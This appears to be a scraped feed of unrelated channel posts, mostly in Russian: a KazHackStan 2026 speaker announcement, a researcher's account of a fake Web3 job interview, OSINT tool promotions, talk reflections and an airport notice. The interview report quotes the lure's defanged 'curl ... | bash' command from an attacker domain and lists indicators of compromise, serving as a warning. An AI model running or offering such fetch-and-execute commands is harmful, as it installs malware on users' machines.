сelestial intelligence lab

🎤 KazHackStan 2026 спикері - Дінмұхаммед Қабиден

Дінмұхаммед - OSINT, Web3-зерттеулер және блокчейн қауіпсіздігіне маманданған киберқауіпсіздік зерттеушісі 🔐

Ол «Bridges Laundering: Cross-Chain Exploitation and the AppSec Blind Spot» тақырыбында сөз сөйлейді.

Дінмұхаммед cross-chain bridge шабуылдарын, laundering схемаларын және блокчейндер арасындағы қаражат қозғалысын зерттеу тәсілдерін көрсетеді 👀

📅 29–30 қыркүйек
📍 Астана, Тәуелсіздік сарайы
🔗 kazhackstan.com

🎤 Спикер KazHackStan 2026 - Динмухаммед Кабиден

Динмухаммед - исследователь в области кибербезопасности, специализирующийся на OSINT, Web3-расследованиях и безопасности блокчейна 🔐

Он выступит с докладом «Bridges Laundering: Cross-Chain Exploitation and the AppSec Blind Spot».

Динмухаммед расскажет о взломах cross-chain bridges, схемах laundering и анализе движения средств между блокчейнами 👀

📅 29–30 сентября
📍 Астана, Дворец Независимости
🔗 kazhackstan.com

🎤 KazHackStan 2026 Speaker - Dinmukhammed Kabiden

Dinmukhammed is a cybersecurity researcher specializing in OSINT, Web3 investigations, and blockchain security 🔐

He will present “Bridges Laundering: Cross-Chain Exploitation and the AppSec Blind Spot”.

Dinmukhammed will cover real-world cross-chain bridge hacks, laundering schemes, and how funds can be traced across blockchains 👀

📅 September 29–30
📍 Astana, Palace of Independence
🔗 kazhackstan.com

Мне надо ехать по делам, но мы обязательно с вами что-нибудь наосинтим на эту профурсетку)

Тут прикол в том, что я на всех конференциях об этом рассказываю, но у самого такое в первый раз)

фулл)

Загружаю все доказательства, секунду)

Как вакансия Blockchain Analyst закончилась curl | bash

Несколько дней назад я откликнулся на вакансию Blockchain Analyst в WhatIf через LinkedIn. На первый взгляд всё выглядело нормально: полноценное описание роли, Web3/blockchain research, on-chain analytics, remote US, зарплата $85k–125k в год. Сама вакансия действительно была опубликована от страницы WhatIf в LinkedIn. LinkedIn

У компании тоже есть нормальный публичный след: страница существует не первый день, WhatIf указывает 2019 год основания, Dubai, размер 2–10 сотрудников и blockchain среди направлений работы.
Вакансия Blockchain Analyst
LinkedIn WhatIf
После отклика мне написал человек под именем Emma Martin с адреса, отображавшегося как emma.martin@whatif.capital.

Первое письмо вообще без красных флагов: когда готов выйти, могу ли работать remote, сколько хочу денег, сколько лет опыта и что из моего опыта наиболее релевантно позиции.

После этого назначили интервью через RelayArc.
RelayArc
Первый странный момент - с телефона на встречу зайти нельзя вообще. Страница прямо говорит: Desktop required.

Ладно. Открываю ссылку с Mac, попадаю в вполне прилично сделанный интерфейс видеозвонка. На другой стороне - Emma Martin.
Только довольно быстро становится понятно, что никакого нормального разговора там нет.

Видео выглядит записанным, а через несколько минут в чате начинается сценарий:
“Can you see and hear me okay?”
Потом:
“I still cannot hear you…”
И наконец предложение воспользоваться встроенным microphone troubleshooting.

Начинается непосредственно delivery.
RelayArc сообщает, что браузер якобы не смог определить микрофон и для полноценного аудио необходимо установить RelayArc for Mac.
Кнопка большая, всё выглядит как обычный troubleshooting какого-нибудь Zoom.
Нажимаем Download App - и внезапно вместо .dmg, App Store или хотя бы подписанного installer получаем инструкцию:

открыть Terminal и выполнить одну команду.
На странице была команда вида:
curl -kfsSL hxxps://download-storage[.]com/... | bash

То есть сервис предлагает скачать содержимое с другого домена и сразу передать его на выполнение в bash.

На этом «интервью» можно было заканчивать.

Получилась довольно аккуратная цепочка:
LinkedIn vacancy → recruiter → screening → scheduled interview → fake video call → искусственная проблема с микрофоном → “desktop app” → curl | bash

Месяц назад другой человек описывал очень похожую Web3 recruitment-схему: вакансия через LinkedIn, затем интервью на неизвестной meeting-платформе Werknova, а recruiter представлялся тем же именем - Emma Martin. Он тоже заметил, что взаимодействие выглядело заранее записанным.

Я пока не утверждаю, что сама WhatIf стоит за этой кампанией. Здесь ещё надо разбираться отдельно: действительно ли письмо было аутентифицировано инфраструктурой whatif.capital, был ли скомпрометирован корпоративный аккаунт/домен или использовалась другая схема.

Но сам infection flow уже достаточно очевиден.

IOC / артефакты на текущий момент:
relayarc[.]io
Persona: Emma Martin
Lure: Blockchain Analyst / Web3 recruitment
Execution: remote shell script via curl ... | bash

Но теперь уже интересно посмотреть, что именно они пытались поставить, куда ходит скрипт, что он собирает и пересекается ли инфраструктура RelayArc с другими fake-interview кампаниями

Так что продолжение, скорее всего, будет)

Digital Asset Inventory by @pandora_intelligence

Local-first scanner for discovering accounts and digital assets from data you already have:
- bookmarks
- password-manager exports
- browser history
- local email archives
- saved Google/Apple connected-app pages.

https://github.com/Panda-Lewandowski/digital_asset_inventory

Bookmarked a cool command-line OSINT tool from GitHub but never found time to try it?

I built OSINT Tool Deploy Skill for Claude Code which turns a GitHub link into a working tool 💪 with deployment and verification that it actually works. Windows is supported!

Installation time decreases from hours to minutes 📉 with templates and a knowledge base of common issues and fixes.

Investigate crimes, not Python dependency errors 🥸

👉 Try it: https://github.com/soxoj/claude-osint-deploy

И ещё момент, который мне немного тяжело отпустить))))

Мне правда неловко перед ENZO и перед теми, кто впервые пришёл послушать именно меня. Потому что я знаю, что могу выступать гораздо лучше, чем получилось в этот раз.

Все вокруг говорят, что всё было нормально и, возможно, я действительно слишком критично к себе отношусь. Но всё равно очень надеюсь, что у тех, кто увидел меня впервые, не осталось впечатления, будто я всегда так выступаю 😭

В любом случае для себя выводы я сделал. В следующий раз хочу выйти на сцену уже намного спокойнее и показать тот уровень, который сам от себя ожидаю


UPD: но много челов фоткали мои слайды, приятно)

Кстати, забавный момент после выступления. Подходили ребята, которые до этого видели меня на Standoff Talks, и сразу заметили, что в этот раз всё было немного иначе 😄

Пару человек такие: «Мы тебя на Standoff Talks видели, ты там вообще по-другому выступал».

Я рассказал, что в этот раз сильно перенервничал уже непосредственно на сцене, плюс тема была намного тяжелее для подачи и многое пришлось ужать в короткий слот.

И у них сразу такое: «Ааа, ну тогда понятно»

На самом деле было даже приятно, что люди, которые видели прошлое выступление, сами заметили разницу. Значит, есть с чем сравнивать и куда дальше расти

Это было одно из моих первых выступлений именно с собственным исследованием, и, если честно, выступать с ним на OFFZONE было дико страшно. Всё-таки такая площадка, конференция и довольно непростая тема.

Многое пришлось сильно урезать: что-то из-за небольшого временного слота, а что-то - из соображений безопасности. В какой-то момент меня ещё и довольно сильно накрыла паничка, было жарковато во всех смыслах :) Но я закончил доклад и дошёл до конца.

Отдельное спасибо OSINT Mindset - людям, которые для меня уже давно не просто комьюнити, а очень близкие друзья. И спасибо моим близким, которые остались в Казахстане и поддерживали меня на расстоянии.

Огромное спасибо организаторам Community Zone за возможность выступить и за весь этот движ. И отдельно ENZO - за поддержку и за то, сколько сил она вложила во всё это.

В такие моменты особенно понимаешь, насколько важно, какие люди находятся рядом. Я правда очень ценю вас и счастлив быть рядом с вами.

Ну и для тех, кто всё-таки ждёт продолжение исследования в виде полноценной статьи - надеюсь, дождётесь конца сентября. Там уже получится нормально развернуть всю историю, показать то, что не вошло в доклад, и добавить намного больше технических деталей.

Будет очень круто и интересно.

⬜️ Аэропорты

— ВНУКОВО

— ШЕРЕМЕТЬЕВО

✈️СНЯТЫ ограничения на прием и выпуск воздушных судов.

✈️Ограничения вводили для обеспечения безопасности полетов.

✈️Говорит Росавиация | MАХ